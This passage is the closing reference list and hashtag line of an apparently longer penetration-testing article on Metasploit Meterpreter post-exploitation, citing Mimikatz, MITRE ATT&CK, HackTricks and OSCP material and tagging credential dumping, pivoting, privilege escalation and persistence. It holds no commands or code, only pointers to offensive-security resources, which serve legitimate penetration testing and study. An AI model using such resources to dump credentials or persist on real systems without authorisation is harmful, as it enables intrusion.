  2. Rapid7 Metasploit Framework Documentation
  3. Gentilkiwi Mimikatz GitHub
  4. MITRE ATT&CK Framework
  5. HackTricks - Pentesting Methodology
  6. Microsoft Windows Security Documentation
  7. Offensive Security OSCP Study Guide
  8. SANS Penetration Testing Resources

#Metasploit #Meterpreter #Post-Exploitation #Credential-Dumping #Pivoting #Windows #Penetration-Testing #Red-Team #Kiwi #Mimikatz #Process-Migration #Privilege-Escalation #Persistence #OPSEC